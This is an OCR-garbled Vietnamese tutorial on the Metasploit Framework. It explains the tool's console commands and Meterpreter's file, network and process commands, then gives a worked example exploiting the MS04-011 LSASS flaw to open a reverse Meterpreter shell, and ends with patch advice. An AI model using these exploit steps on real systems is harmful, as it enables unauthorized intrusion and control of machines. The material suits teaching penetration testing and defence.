Metasploit - Cong cu khai thac 16 hong
METASPLOIT
1. Giéi thiéu Metasploit

Metasploit Framework 1a mot méi trudng dung dé kiém tra, tin céng va khai
thac 15i ctia cac service. Metasploit dugc xay dung tir ngon ngit huéng doi
tugng Perl, véi nhitng component duoc viét bang C, assembler, va Python.
Metasploit c6 thé chay trén hau hét cac hé diéu hanh: Linux,

Windows, MacOS. Ban cd thé download chuong trinh tai metasploit.com.

Metasploit c6 thé ty dong update bét dau tir version 2.2 tré di, st dung
script msfupdate.bat trong thu muc cai dat

2. Cac thanh phan cia Metasploit
Metasploit hd trg nhiéu giao dién véi ngudi ding:

« Console interface: Dung msfconsole.bat. Msfconsole interface sir
dung cac dong lénh dé cau hinh, kiém tra nén nhanh hon va mém déo
hon

. Web interface: Dung msfweb.bat, giao tiép véi ngudi ding théng qua
giao dién web

« Command line interface: Dung msfcli.bat
Environment:

« Global Environment: Buogc thuc thi thong qua 2 cau Iénh setg va
unsetg, nhiing options dugc gan ¢ day s€ mang tinh toan cuc, dugc dua
vao tat ca cac module exploits.

« Temporary Environment: Buogc thuc thi théng qua 2 cau Iénh set va
unset, environment nay chi dugc dua vao module exploit dang load
hién tai, khdng anh hudng dén cac module exploit khac.



Ban c6 thé luu lai environment minh da cau hinh théng qua lénh save. Moi
trrong d6 sé dugce luu trong /.msf/config va sé duoc load tro lai khi user
interface duogc thuc hién.

Nhirng options nao ma chung giira cac exploits module nhu 1a: LPORT,
LHOST, PAYLOAD thi ban nén duoc xac dinh ¢ Global Environment.

Vi du:

msf> setg LPORT 80
msf> setg LHOST 172.16.8.2

3. Céch sir dung Metasploit framework

3.1. Chon module exploit:

Lua chon chuong trinh, dich vu 15i ma Metasploit ¢ hd tro dé khai thac.
. show exploits: Xem cac module exploit ma framework co ho trg
« use exploit_name: Chon module exploit
. info exploit_name: Xem thdng tin vé module exploit

Ban nén cap nhat thuong xuyén cac 16i dich vu trén metasploit.com hoic qua
script msfupdate.bat

3.2. Cau hinh module exploit d chon:
. show options: Xac dinh nhitng options nao can cau hinh
. set: Cau hinh cho nhitng option ciia module d6

M6t vai module con ¢6 nhitng advanced options, ban c6 thé xem bing céch
g6 dong lénh show advanceds

3.3. X&c nhan nhiing option vira cau hinh:
. check: Kiém tra xem nhiing option di duoc set chinh xac chua.

3.4. Lwa chon muc tiéu:



Lwa chon hé diéu hanh muén thyc hién.
. show targets: nhiing target dugc cung cap béi module do.
. set: xac dinh target nao

Vi du:

smf> use windows_ssl_pct
show targets

Exploit s€ liét ké ra nhitng target nhu: winxp, winxp SP1, win2000, win2000
SP1

3.5. Lwa chon payload:

Payload 1 doan code ma s& chay trén hé théng may tinh duoc diéu khién tir
Xa.

show payloads: Liét ké ra nhirng payload ciia module exploit hién tai

. info payload_name: Xem théng tin chi tiét vé payload d6

. set PAYLOAD payload_name: Xac dinh payload module name.Sau
khi lya chon payload nao, dung lénh show option dé xem nhiing option
cua payload do

. show advanced: Xem nhitng advanced option cta payload do.

3.6. Thuc thi exploit:

. exploit: Lénh dung dé thuc thi payload code. Payload sau dé sé& cung
cap cho ban nhirng théng tin vé hé thong duoc khai thac.

4. Gidi thi¢u payload meterpreter

Meterpreter, viét tit tir Meta-Interpreter 1a mot advanced payload c6 trong
Metasploit framework. Muc dich ctia né 1a dé cung cap nhiing tap 1énh dé
khai thac, tan cang cac may remote computers. N6 duoc viét tir cac

developers dudi dang shared object (DLL) files. Meterpreter va cac thanh



phr:in mo rong dugc thuc thi trong by nhé, hoan toan khong dugc ghi 1€n dia
nén c6 thé tranh dugc sy phat hién tir cac phan mém chong virus.

Meterpreter cung cap mot tap 1énh dé chung ta c6 thé khai thac trén cac
remote computer:

« Fs: Cho phép upload va download files tir cac remote machine

« Net: Cho phép xem thong tin mang ctia remote machine nhu IP, route

table

« Process: Cho phép tao cac processes moi trén remote machine

. Sys: Cho phép xem thong tin hé thdng ctia remote machine
Str dung cau Iénh:

. use -m module1,module2,module3 [ -p path ] [ -d ]: Céu lénh use dung dé
load nhitng module mé rong cia meterpreter nhu: Fs, Net, Process.
loadlib -f library [ -t target ] [ -lde ]: Cau 1énh cho phép load cac thu vién
cuia remote machines.
read channel_id [length]: Lénh read cho phép xem dir li€u cua remote
machine trén channel dang két nbi.
write channel_id: Lénh write cho phép ghi dit liéu 1én remote machine.
close channel_id: Pong channel ma d3 két ndi véi remote computer.
interact channel_id: Bat dau mot phién lam viéc véi channel vira thiét 1ap
vGi1 remote machine.

. Initcrypt cipher [parameters]: Ma hoa dit liéu dugc giri gitra host va

remote machine.
St dung module Fs: Cho phép upload va download files tir cac remote
machine.

. cd directory: Gidng 1énh cd ctia command line

. getcwd: Cho biét thu muc dang 1am viéc hién tai

o Is [filter_string]: liét ké cac thu muc va tap tin

« upload srcl [src2 ...] dst: Upload file

« download srcl [src2 ...] dst: Download file
Str dung module Net:

. ipconfig

. route: Xem bang dinh tuyén ctia remote machine.

« portfwd [-arv] [-Lladdr] [ -l lport] [-hrhost] [-prport][-P]: Cho

phép tao port forward gitra host va remote machine.
St dung module Process:


https://quantrimang.com/nhung-lenh-dos-pho-bien-trong-cmd-118351

. execute -ffile [ -aargs ] [ -Hc ]: Cau 1énh execute cho phép ban tao ra
mot process mdi trén remote machine va sir dung process d6 dé khai thac
dir licu

« kill pid1 pid2 pid3: Huy nhitng process dang chay trén may remote
machine

« ps: Li¢t ké nhiing process cua remote machine.

St dung module Sys:
. getuid: Cho biét username hién tai ctia remote machine
. sysinfo: Cho biét thong tin vé tén may tinh, hé diéu hanh.

5. Vi du

May localhost ¢ dia chi 192.168.1.1 s& tdn cong may remote c6 dia chi
192.168.1.2 thong qua 16i Lsass ms04 011. Pay 1a 16i tran stack trong dich
vu LSA( Local Security Authority).Lsass.exe 1a mdt process ctia hé thong
Microsoft Windows, chiu trach nhiém vé chimg thuc local security, quan 1y
Active Directory va cac chinh sach login. Lsass kiém soat viéc chimg thuc
cua ca client va server.

Msf>use Lsass ms04 011

Msf>set PAYLOAD win32_reverse_meterpreter

Msf>set RHOST 192.168.1.2

Msf>set LHOST 192.168.1.1

Msf>exploit

Meterpreter> help

Meterpreter>use -m P //add thém tap 1énh cua process
Meterpreter>help< /] xem céc 1énh meterpreter ho tro
Meterpreter>ps /I list cac process ma remote machine dang chay

Meterpreter>kill /] tat cac process ma remote machine dang chay



Meterpreter> // tan cong sir dung comandline cmd caa remote machine
execute: success, process id is 3516.

execute: allocated channel 1 for new process.

meterpreter> interact 1

interact: Switching to interactive console on 1...

interact: Started interactive channel 1.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS>echo Meterpreter interactive channel in action
echo Meterpreter interactive channel in action

Meterpreter interactive channel in action
C:\WINDOWS>ipconfig

Caught Ctrl-C, close interactive session? [y/N] y

meterpreter>

6. Cach phong chong

Thuong xuyén cap nhat cac ban va 16i ciia Microsoft. Vi du nhu dé
Metasploit khong thé khai thac duoc 13i Lsass ms04 011, ban phai cap nhat
ban va 16i cia Microsoft. Theo Microsoft danh gia, day 1a mot 16i nghiém
trong, co trén hau hét tat ca cac hé diéu hanh Windows. Ban nén st dung
hotfix c6 number 1a 835732 dé va 15i trén.



